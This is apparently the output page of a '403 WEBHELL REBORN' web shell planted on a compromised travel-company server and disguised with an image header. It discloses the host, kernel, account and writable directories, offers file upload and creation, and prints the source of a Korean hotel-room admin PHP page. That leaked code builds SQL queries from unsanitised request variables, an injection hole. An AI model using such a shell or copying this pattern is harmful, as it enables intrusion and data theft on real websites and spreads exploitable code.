ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/toadmin/hotel_tw/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/toadmin/hotel_tw/hotel_date_reg.html
<?
include "../include/top_iframe.html";
include "_common.php";

// 호텔정보
$data_hotel = hotel_list(" and hseq='{$hseq}'  ");
$row_hotel = hotel_list_replace($data_hotel[0]);

// 숙소 일자중 첫번째 날짜와 마지막 날짜 
$last_dt = date("Y-m-d");
$sql = "select max(room_date) last_dt, price_cost, price_ori, sale_rate, price_sell, total_seat from TB_HOTEL_DATE where h_seq='{$hseq}' and r_idx='{$ridx}' ";
$row_hotel_room = db_fetch($sql);
if($row_hotel_room['last_dt']) $last_dt = $row_hotel_room['last_dt'];

// 날짜 자동입력
$first_room_dt = date("Y-m-d",strtotime($last_dt." +1 day"));// 시작일자
$last_room_dt = date("Y-m-d",strtotime($last_dt." +30 day"));// 마지막날짜

// 검색된 년월
if(!$date_year_s) $date_year_s = date("Y");
if(!$date_month_s) $date_month_s = date("m");

// 검색된 년월 이전, 이후 년월
$date_pre_next = date_pre_next($date_year_s."-".$date_month_s."-01");

// 룸 인원수 가져오기
$rdata = array('hseq'=>$hseq,'ridx'=>$ridx);
$data_roomtype = hotel_roomtype($rdata);
$row_roomtype = $data_roomtype[0];
$person_num = $data_roomtype[0]['person_num'];
$person_maxnum = $data_roomtype[0]['person_maxnum'];

// 옵션상품
$data_option = hotel_option($hseq,"","Y");

// 관리자 목록
$admin_arr = member_fetch(" and mb_level <= 10  and del_flag='N' ");

//예약가능상태 코드
$code_lodg = base_codec("PRD","LODG");

// 적립금
$class_CommonTour = new CommonTour();
$shop_point = $class_CommonTour->shopPoint();
?>
<script type="text/javascript" src="/js/Calendar/ajax_admin_datecal.js"></script>
<div class="popup_form">
	<h2>[<?=$row_roomtype['room_type']?>] 입실관리</h2>
	<div class="contents_detail">
		<!-- 본문 --> 

	<!-- 폼 -->
	<form name="frm_roomdate_ins" id="frm_roomdate_ins" method="post">
	<input type="hidden" name="SqlType" value="roomdate_ins">
	<input type="hidden" name="hseq" value="<?=$hseq?>">
	<input type="hidden" name="ridx" value="<?=$ridx?>">
	<input type="hidden" name="person_max_price" value="<?=$row_roomtype['person_max_price']?>">
	<input type="hidden" name="room_bedtype" value="<?=$row_roomtype['room_bedtype']?>">
	<table width="100%" border="0" cellspacing="0" cellpadding="0" class="t_register" summary="객실요금 상세정보 등록">
	<colgroup>
	<col style=" width:160px" />
	<col />
	</colgroup>	
	<tr>
	<th scope="row">입실일 생성조건</th>
	<td>
		<input name="con_input" id="con_input_1" type="radio" value="auto"  checked/><label for="con_input_1">요일별</label>
		<input name="con_input" id="con_input_2" type="radio" value="date" /><label for="con_input_2">일자별</label>
	</td>
	</tr>
	<tbody>
	<tr id="disp_input_1" style="display:;">
	<th scope="row">요일별 선택</th>
	<td>
		<div class="lo_left calendar_wrap2">
			<input name="room_date_s1" id="room_date_s1" type="text" class="calendar_input" size="15" onclick="AjaxCal(this,event);" value="<?=$first_room_dt?>" readonly/>
		</div> <span class="lo_left prl5">~</span> <div class="lo_left calendar_wrap2">
			<input name="room_date_e" id="room_date_e" type="text" class="calendar_input" size="15" onclick="AjaxCal(this,event);" value="<?=$last_room_dt?>" readonly/> 
		</div> 
		</div> &nbsp;&nbsp;※입력된 날짜를 다시 입력하면, 수정됩니다. 사용블럭은 수정되지 않습니다.
	</td>

	</tr>
	<tr id="disp_input_2" style="display:none;">
	<th scope="row">일자별 선택</th>
	<td>
		<div>
			<div class="calendars" id="ajax_calendar"></div>
		</div>
	</td>
	</tr>
	<tr id="disp_input_3" style="display:;">
	<th scope="row">요일선택</th>
	<td class="input_lo">
	<input name="room_date[]" id="sun" type="checkbox" value="0" checked /><label for="sun"><span class="c_red">일요일</span></label>
	<input name="room_date[]" id="mon" type="checkbox" value="1" checked /><label for="mon">월요일</label>
	<input name="room_date[]" id="tue" type="checkbox" value="2" checked /><label for="tue">화요일</label>
	<input name="room_date[]" id="wen" type="checkbox" value="3" checked /><label for="wen">수요일</label>
	<input name="room_date[]" id="thu" type="checkbox" value="4" checked /><label for="thu">목요일</label>
	<input name="room_date[]" id="fri" type="checkbox" value="5" checked /><label for="fri">금요일</label>
	<input name="room_date[]" id="sat" type="checkbox" value="6" checked /><label for="sat"><span class="c_blue">토요일</span></label>
	<input name="room_date_all" id="room_date_all" type="checkbox" value="" checked /><label for="room_date_all"checked ><span class="c_green">전체</span></label></td>
	</tr>
	<tr>
	<th scope="row">
			<label for="price_1">판매가(기준 판매가)</label><br>
			<!-- <input type="button" value="가 격 추 가" class="Table_btn red help_tooltip" id="item_view_addon_price"  title="추가개발협의후 사용하실수 있습니다."> -->
	</th>
	<td>
		<?php if($row_hotel['exchange_fg']=="Y") {?>
		<div style="font-size:14px;font-weight:bold;border-bottom:2px solid #0066FF;width:400px;margin-bottom:10px;">◆ 기준환율 : 1<?=$row_hotel['ext_nm']?>(<?=$row_hotel['ext_eng']?>) → <?=$row_hotel['ext_to_krw']?>원(KRW) <span style="font-size:12px;font-weight: normal;">[<?=$row_hotel['ext_unit']?>원단위 <?=$row_hotel['ext_round2']?>]</span></div>
		<?php }?>	
			<table border="0" cellpadding="0" cellspacing="0" class='setting_write' >
				<tr class="top_line">
					<th>구분</th>
					<th>계약가</th>
					<th>정상가</th>
					<th>할인율</th>
					<th>개인판매가</th>
					<?php if($row_hotel['exchange_fg']=="Y") {?>
					<th><span class="help_tooltip" title="실제 판매는 원화(KRW)입니다.">개인판매가(원.KRW)</span></th>
					<?php }?>
				</tr>
				<tr>
					<td>가격</td>
					<td><input name="price_cost" id="price_cost" type="text" size="20" class="input_text " style="text-align: right; ime-mode: disabled;" onkeydown="ChkNum(this,event);" onblur="this.value=comma(this.value)" maxlength="10" hname="계약가" required value="<?=number_format($row_hotel_room['price_cost'])?>" onkeyup="get_price_sell('',this);" /><?=$row_hotel['ext_nm']?></td>
					<td><input name="price_ori" id="price_ori" type="text" size="20" class="input_text" style="text-align: right; ime-mode: disabled;" onkeydown="ChkNum(this,event);" onblur="this.value=comma(this.value)" maxlength="10" hname="정상가" required onkeyup="get_price_sell('',this);" value="<?=number_format($row_hotel_room['price_ori'])?> "/><?=$row_hotel['ext_nm']?></td>
					<td><input name="sale_rate" id="sale_rate" type="text" size="5" class="input_text " style="text-align: right; ime-mode: disabled;" onkeydown="ChkNum(this,event);" maxlength="10" value="<?=($row_hotel_room['sale_rate']) ? $row_hotel_room['sale_rate']:0?>" onkeyup="get_price_sell('',this);" />&nbsp;%&nbsp;&nbsp;</td>
					<td><input name="price_sell" id="price_sell" type="text" size="20" class="input_text " style="text-align: right; ime-mode: disabled;" maxlength="10" value="<?=number_format($row_hotel_room['price_sell'])?>" hname="개인판매가" required readonly/><?=$row_hotel['ext_nm']?></td>
					<?if($row_hotel['exchange_fg']=="Y") {?>
					<td style="align:right;"><span id="item_price_ex">0</span>원</td>
					<?php }?>				
				</tr>
			</table>
	</td>
	</tr>

	<tr  style="display:none;" class="item_view_addon_price">
	<th scope="row" ><label for="price_agent">판매가(대리점 판매가)</label></th>
	<td id="ajax_agent_list"></td>
	</tr>

	<?php if($shop_point['use_yn']=="Y") {?>
	<tr>
		<th>적립금</th>
		<td colspan="3">
			<input type="radio" name="point_yn" id="point_yn_1" value="Y" checked> <label for="point_yn_1">적립함</label>
			<input type="radio" name="point_yn" id="point_yn_2" value="N" > <label for="point_yn_2">적립안함</label> 
			&nbsp; &nbsp;
			구매액(상품가격)<input name="point_buy1" id="point_buy1" type="text" size="10" value="<?=number_format($shop_point['point_buy1'])?>" class="input_text d_money"  <?=$require_num_comma?> />원당 
			<input name="point_buy2" id="point_buy2" type="text" size="10" value="<?=number_format($shop_point['point_buy2'])?>" class="input_text d_money"  <?=$require_num_comma?> />원 적립
		</td>
	</tr>			
	<?php }?>

	<tr>
	<th scope="row"><label for="price_option">옵션상품</label></th>
	<td id="ajax_option_list"></td>
	</tr>

	<tr>
		<th>기본인원</th>
		<td>
			<input name="adult_num" id="adult_num" type="text" value="<?=$person_num?>" size="7" class="input_text" style="text-align: right; ime-mode: disabled;" onkeydown="ChkNum(this,event);" maxlength="3" hname="성인기본인원" required readonly /> 명
		</td>
	</tr>
	<tr>
		<th>최대인원</th>
		<td>
			<input name="adult_maxnum" id="adult_maxnum" type="text" value="<?=$person_maxnum?>" size="7" class="input_text" style="text-align: right; ime-mode: disabled;" onkeydown="ChkNum(this,event);" maxlength="3" hname="최대성인기본인원" required readonly /> 명
		</td>
	</tr>	
	<tr>
		<th>비고</th>
		<td>
			<input name="cont" id="cont" type="text" value="<?=($cont)?$cont:$data_roomtype[0]['room_info']?>" size="50" class="input_text" />
		</td>
	</tr>
	<tr>
	<th class="border_no" scope="row"><label for="num_1">사용룸/블록수/예약상태</label></th>
	<td class="border_no">
	<p class="lo_left">
	<input name="left_seat" id="left_seat" type="text" value="0" size="7" class="input_text" style="text-align: right; ime-mode: disabled;" onkeydown="ChkNum(this,event);" onblur="this.value=comma(this.value)" maxlength="4" hname="사용" required /> / 
	<input name="total_seat" id="total_seat" type="text" value="<?=($row_hotel_room['total_seat']) ? $row_hotel_room['total_seat']:0?>" size="7" class="input_text" style="text-align: right; ime-mode: disabled;" onkeydown="ChkNum(this,event);" onblur="this.value=comma(this.value)" maxlength="4" hname="블록수" required />
	</p>&nbsp;
	<select name="lodg_state_cd" id="lodg_state_cd">
		<?
			for($i=0 ; $i < count($code_lodg) ; $i++){
				$row = $code_lodg[$i];
		?>
		<option value="<?=$row['code']?>" <?=($row['code']==$rows['city_cd'])?"selected":""?>><?=$row['cd_nm']?></option>
		<?}?>
	</select>
	</td>
	</tr>
	<tr>
		<th>담당자</th>
		<td>
				<select name="admin_id">
					<?
						for($i=0 ; $i < count($admin_arr) ; $i++){
							$arr = $admin_arr[$i];
					?>
					<option value="<?=$arr['mb_id']?>" <?=($arr['mb_id']==$TO_MB['mb_id'])?"selected":""?>><?=$arr['mb_nm']?></option>
					<?}?>
				</select>
		</td>
	</tr>
	</tbody>
	</table>

	<div class="btn_wrap_C mt30 mb30">
		<a class="Bbtn red" href="javascript:;" onclick="roomdate_ins();">입실일생성</a>
	</div>
	
	</form>
	<!-- /폼 -->
		
	<script type="text/javascript">
	$(document).ready(function(){

		// 대리점 목록
		ajax_post('ajax_agent_list','ajaxHotelDateAgent.html?hseq=<?=$hseq?>&ridx=<?=$ridx?>');

		// 옵션상품 목록
		ajax_post('ajax_option_list','ajaxHotelDateOption.html?hseq=<?=$hseq?>&ridx=<?=$ridx?>');


		$("#item_view_addon_price").on("click",function(){
			if($(this).hasClass("red"))  { 
				$(this).removeClass("red").addClass("red2");

				// 대리점목록
				ajax_post('ajax_agent_list','ajaxHotelDateAgent.html?hseq=<?=$hseq?>&ridx=<?=$ridx?>');			
			} 

			else {
				$(this).removeClass("red2").addClass("red");
				$("#ajax_agent_list").html('');
			}

			$(".item_view_addon_price").toggle();
		});	
	});

	//
	// 환율계산(2016-12-09.허종)
	//
	var exchange_fg = '<?=$row_hotel['exchange_fg']?>'; // 환율사용유무 Y/N
	var ext_to_krw = parseFloat('<?=$row_hotel['ext_to_krw']?>'); // 화폐교환 원(KRW)
	var ext_unit = parseInt('<?=$row_hotel['ext_unit']?>'); // 1000원단위 , 100원단위
	var ext_round = '<?=$row_hotel['ext_round']?>'; // 올림(A)반올림(R)버림(L)

	function cal_exchange_money(d_money)  
	{
		var ex_money=0;
		var h_money =  Math.round(parseFloat(d_money) * parseFloat(ext_to_krw));
		
		switch(ext_round){
		case "A":// 올림
			ex_money = Math.ceil(h_money/ext_unit)*ext_unit; 
			break;
		case "R":// 반올림
			ex_money = Math.round(h_money/ext_unit)*ext_unit; 
			break;
		case "L":// 버림
			ex_money = Math.floor(h_money/ext_unit)*ext_unit; 
			break;
		}	
		return ex_money;
	}	

	//숙박 일정등록
	function roomdate_ins()
	{
		var f = document.frm_roomdate_ins;

		//날짜체크
		if($("input[name='con_input']:checked").val()=="auto"){
			if(!$("#room_date_s1").val() || !$("#room_date_e").val() ){
				alert('날짜를 입력해 주세요.');
				return;
			}
			if($("input[name='room_date[]']:checked").length==0){
				alert('요일을 적어도 한개 선택해 주세요.');
				return;
			}
		}else{
			if(!$('input[name="room_date_s2[]"]').size()){
				alert('날짜를 입력해 주세요.');
				return;
			}
		}

		// 폼체크
		var result = to_validation(f);
		if (result == false) return false;

		if(!confirm("저장하시겠습니까?")) return false;

		ajax_post("ajax_proc","../hotel/hotel_date_proc.html","frm_roomdate_ins");
	}

	//날짜입력 방식 선택
	$("input[name='con_input']").click(function() {
		$(".d_start_item").remove();
		
		if($(this).val()=="auto"){
			$("#disp_input_1").show();
			$("#disp_input_2").hide();
			$("#disp_input_3").show();
		}else{
			$("#ajax_calendar").load("ajaxHotelDateCal.html?hseq=<?=$hseq?>");
			$("#disp_input_2").show();
			$("#disp_input_1").hide();
			$("#disp_input_3").hide();
		}
	});

	//요일선택/반전
	$("#room_date_all").click(function(){
		var ck=$(this).is(":checked");
		$("input[name='room_date[]']").each(function(index){
			this.checked = ck;
		});
	});

	function edit_date(hdidx,room_dt) {
		var f=document.roomdate_edit;

		if(!hdidx) return;

		$("form#roomdate_edit input[name='hdidx']").val(hdidx);
		$("form#roomdate_edit input[name='room_date']").val(room_dt);
		$("form#roomdate_edit input[name='adult_num']").val($("#adult_num_"+hdidx).val());

		$("form#roomdate_edit input[name='price_ori']").val($("#price_ori_"+hdidx).val());
		$("form#roomdate_edit input[name='sale_rate']").val($("#sale_rate_"+hdidx).val());

		// 성인
		$("form#roomdate_edit input[name='price_cost']").val($("#price_cost_"+hdidx).val());
		$("form#roomdate_edit input[name='price_sell']").val($("#price_sell_"+hdidx).val());
		$("form#roomdate_edit input[name='price_agent']").val($("#price_agent_"+hdidx).val());
			
		$("form#roomdate_edit input[name='cont']").val($("#cont_"+hdidx).val()); // 비고
		$("form#roomdate_edit input[name='left_seat']").val($("#left_seat_"+hdidx).val());
		$("form#roomdate_edit input[name='total_seat']").val($("#total_seat_"+hdidx).val());
		$("form#roomdate_edit input[name='lodg_state_cd']").val($("#lodg_state_cd_"+hdidx).val());
		
		// 폼체크
		var result = to_validation(f);
		if (result == false) return false;

		if(!confirm(room_dt+'자를 수정하시겠습니까?')) return;

		ajax_post("ajax_proc","../hotel/hotel_proc.php?<?=$_params?>","roomdate_edit");
	}
	
	//검색
	function search_date() {
		var date_year_s = $("#date_year_s").val();
		var date_month_s = $("#date_month_s").val();
		var lodg_state_cd_s = $("#lodg_state_cd_s").val();
		var param="";

		param = "<?=$params?>&date_year_s="+date_year_s+"&date_month_s="+date_month_s+"&lodg_state_cd_s="+lodg_state_cd_s;

		ajax_loader("../hotel/hotel_register_date_ajax.html?"+param,"ajax_hotel_date");
	}

	//전체선택
	$("#chkbox_all").click(function() {
		var chk = $(this).is(":checked");

		$("input[name='chk_roomdate[]']").each(function(){
			if(chk==true) this.checked = true;
			else this.checked=false;
		});
	
	});

	//선택수정
	function roomdate_modify() {
		if($("input[name='chk_roomdate[]']:checked").length==0){
			alert('적어도 한개 항목을 선택해 주세요.');
			return;
		}

		if(!confirm('선택된 항목을 수정하시겠습니까?')) return;

		ajax_post("ajax_proc","../hotel/hotel_proc.php?SqlType=roomdate_edit&<?=$_params?>","frm_roomdate_list");
	}

	//선택삭제
	function roomdate_delete() {
		if($("input[name='chk_roomdate[]']:checked").length==0 ){
			alert('적어도 한개 항목을 선택해 주세요.');
			return;
		}
		if(!confirm('선택된 항목을 삭제하시겠습니까?')) return;
		ajax_post("ajax_proc","../hotel/hotel_proc.php?SqlType=roomdate_del&<?=$_params?>","frm_roomdate_list"); 
	}

	//날짜에서 입력칸으로 값 불러오기
	function hotel_load_date(hdidx) {
		if(!hdidx) return false;

		var objs = new Array();
		objs = [
			'price_ori', 
			'sale_rate', 
			'price_cost', 
			'price_sell',
			'price_agent',
			'price_cost_ch',
			'price_sell_ch',
			'price_agent_ch',
			'price_cost_ki',
			'price_sell_ki',
			'price_agent_ki',
			'price_cost_ba',
			'price_sell_ba',
			'price_agent_ba',
			'cont',
			'left_seat',
			'total_seat',
			'lodg_state_cd'
		];

		for (var i=0;i<objs.length ;i++ )
		{
			$('#'+objs[i]).val($('#'+objs[i]+'_'+hdidx).val());
		}
	}


	function get_price_sell(no, obj) {
		if(!no) no="";
		else no = "_"+no;

		var $sell = $('#price_sell'+no); //판매가격
		var $ori = $('#price_ori'+no);	//정상가
		var $rate = $('#sale_rate'+no); //할인율

		var sel_p = get_number($sell.val());
		var ori_p = get_number($ori.val());
		var rate_p = get_number($rate.val());

		var ex_money=0;

		if(!ori_p || !rate_p) {
			$sell.val('');
			return;
		}

		var T_Sale = ori_p - (ori_p*rate_p*0.01);
		T_Sale = T_Sale.toString().replace(/\B(?=(\d{3})+(?!\d))/g, ",");
		$sell.val(T_Sale);

		if(exchange_fg=="Y") {
			ex_money = cal_exchange_money(T_Sale.replace(/,/g,''));
			$("#item_price_ex").html(number_format(ex_money));
		}
	}

	</script>

		</div>
		<!-- /본문 -->
	</div>
</div>

<?
include "../include/footer_iframe.html";
?>

Anon7 - 2021